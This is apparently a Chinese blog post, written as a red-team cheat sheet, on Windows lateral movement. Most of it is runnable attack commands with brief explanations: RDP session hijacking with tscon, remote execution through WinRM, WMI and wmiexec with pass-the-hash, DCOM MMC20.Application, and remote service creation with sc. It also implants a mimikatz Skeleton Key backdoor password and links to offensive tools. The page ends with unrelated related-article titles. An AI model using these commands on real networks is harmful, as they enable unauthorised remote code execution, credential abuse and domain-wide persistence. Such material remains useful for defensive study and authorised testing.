Lateral Movement
简介
这次去宁夏护网,发现我有的朋友连最基本的横向渗透有些都不晓得,他们问我 我也表达不清楚...,就想着写篇文章总结下吧
(慢慢更..)
可以发我邮箱讨论:muxue@protonmail.com
Tscon
我这里用的是Windows Server 2012
利用PSEXEC
提升至system
权限
在一个机子上要是有多个用户登录,可以使用query user
或者在任务管理器里查看状态
我们普通用户连接是需要密码的,但是system权限下就不需要
- 首先获取目标用户的id
query user username
- 连接用户
tscon id
tscon id /dest:console
我是直接rdp了 没有出现一个新的控制台,有大佬解决办法 拜托call一声
WinRM
winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
需要先配置
// 查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
// 开启 本地
winrm quickconfig -q
or
Enable-PSRemoting -Force
还得接着配置
winrm set winrm/config/Client @{TrustedHosts="*"} // 通配
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com"}
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com,IP"}
// 查看信任主机
winrm get winrm/config/client|findstr TrustedHosts
// Attack
winrs -r:192.168.0.114 -u:administrator -p:pass whoami
WMI
从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息
wmic /node:ip /user:administrator /password:pass process call create "command"
然后我要重点写下WMIEXEC
,impacket
里有py版本的,也有ps
、c#
的;我这里先记录vbs的
虽然有半shell 和 执行单条命令,但是我执行单条命令他给我返回了半交互式shell
cscript.exe //nologo wmiexec.vbs /shell ip username password
然后我们尝试使用hash(ps1,py,vbs的也可以 需要wce注入hash)
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell ip
python
python3 wmiexec.py muxue.com/administrator@10.10.0.128 -hashes lm:ntlm
ps
Invoke-WmiExec -target 10.10.0.128 -hash hash -username "administrator" -command calc
当然还有好多款工具是基于wmi的横向工具:
https://github.com/360-Linton-Lab/WMIHACKER
https://github.com/QAX-A-Team/sharpwmi
DOCM
先说下COM和DCOM是啥东西
COM:COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
DCOM:DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
也就是DCOM是COM(组件对象模型)的扩展
所以执行命令也得需要看组件
DCOM执行命令可以分为两种:
- 本地执行
- 对远程执行
在本地通过DCOM执行命令
- 先获取本地DCOM程序列表
使用一个powershell命令(在version3以上才有),Get-CimInstance
Get-CimInstance Win32_DCOMApplication
, 低版本可以用Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
我们使用MMC20.APPLICATION COM
这个组件来进行命令执行
此 COM 对象允许您编写 MMC 管理单元操作的组件的脚本
2. 创建一个实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
注意要在管理员模式下
获取实例后,然后查看COM对象中的不同方法和属性
$com.Document.ActiveView | Get-Member
然后调用这个方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
使用DCOM对远程主机执行命令
- 简历ipc
- 创建实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","ip"))
- 执行:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\1.exe","Minimized")
还有很多组件也可以执行命令 参考https://www.freebuf.com/articles/network/261454.html
SC
服务配置管理器
// 创建
sc \\ip create systemhelp binpath="cmd.exe /d c:/test.exe" start=auto
// 查看信息
sc \\ip qc systemhelp
// 开启
sc \\ip start systemhelp
// 删除
sc \\ip delete systemhelp /y
也可以使用scshell
,https://github.com/Mr-Un1k0d3r/SCShell
SMB RELAY
SMB中继的攻击手法 可以去搜着看,或者我以后写出来..
set AutoRunScript post/windows/manage/migrate
Skeleton Key
也就是万能密码
用mimikatz就可以实现
privilege::debug
misc::skeleton
会为所有用户加一个,mimikatz
的密码
配个图
Lateral Movement的更多相关文章
- Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)
09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security A New Security Paradigm for IoT (Inter ...
- Coablt strike官方教程中文译版本
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- 开源流量分析系统 Apache Spot 概述(转)
原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...
- Coablt strike官方教程中文版
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- ATT&CK框架学习
ATT&CK模型 ATT&CK是分析攻击者行为(即TTPs)的威胁分析框架.ATT&CK框架核心就是以矩阵形式展现的TTPs,即Tactics, Techniques and ...
- ATT&CK模型
Credential Dumping(凭证窃取) Dump credentials from LSASS(从LSASS中窃取凭证) 实现原理: This technique injects into ...
- 【路径规划】 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame (附python代码实例)
参考与前言 2010年,论文 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame 地址:https ...
- hive 使用笔记(table format;lateral view)
1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...
- JQuery时间轴timeline插件的学习-Lateral On-Scroll Sliding with jQuery+technotarek / timeliner
一.Lateral On-Scroll Sliding with jQuery的使用 View demo Download source 1. HTML结构 <div id=" ...
随机推荐
- 11、nginx+tomcat+redis_session共享
11.1.前言: 1.多个tomcat要一起协同工作可以考虑的方案如下: (1)使用tomcat自带的cluster方式,多个tomcat间自动实时复制session信息,配置起来很简单.但这个方案的 ...
- API安全综述
API安全综述 译自:An Overview on API Security. 本文概括了API防护有关的方方面面,从上层视角介绍了API防护中主要注意的点,并给出了相应的建议.本文可以作为一个API ...
- POJ 3126 Prime Path 简单广搜(BFS)
题意:一个四位数的质数,每次只能变换一个数字,而且变换后的数也要为质数.给出两个四位数的质数,输出第一个数变换为第二个数的最少步骤. 利用广搜就能很快解决问题了.还有一个要注意的地方,千位要大于0.例 ...
- Integer Inquiry 大数加法
Integer Inquiry 1 import java.util.*; 2 import java.math.*; 3 import java.io.*; 4 import java.text.* ...
- Python 删除满足条件的某些行
数据: data 字段:col 要删除的内容是 col == False 的行 # 方案一 data1 = data[~data['col'] == False] # ~ 取反 # 方案二 保留 da ...
- openjudge走迷宫(DFS)
题目: 描述 一个迷宫由R行C列格子组成,有的格子里有障碍物,不能走:有的格子是空地,可以走. 给定一个迷宫,求从左上角走到右下角最少需要走多少步(数据保证一定能走到).只能在水平方向或垂直方向走,不 ...
- 【知识点】H264, H265硬件编解码基础及码流分析
前言 音视频开发需要你懂得音视频中一些基本概念,针对编解码而言,我们必须提前懂得编解码器的一些特性,码流的结构,码流中一些重要信息如sps,pps,vps,start code以及基本的工作原理,而大 ...
- SpringBoot 如何统一后端返回格式?老鸟们都是这样玩的!
大家好,我是飘渺. 今天我们来聊一聊在基于SpringBoot前后端分离开发模式下,如何友好的返回统一的标准格式以及如何优雅的处理全局异常. 首先我们来看看为什么要返回统一的标准格式? 为什么要对Sp ...
- C语言:类型转换
1.自动类型转换:将小范围数据类型转换为大范围的数据类型 2.赋值号两边的数据类型不一致时,会自动将右边的数据类型转换为左边的数据类型.若右边数据的类型级别高,则根据左边变量的长度截取低字节数据部分 ...
- LeetCode 778. Swim in Rising Water
题目链接:https://leetcode.com/problems/swim-in-rising-water/ 题意:已知一个n*n的网格,初始时的位置为(0,0),目标位置为(n-1,n-1),且 ...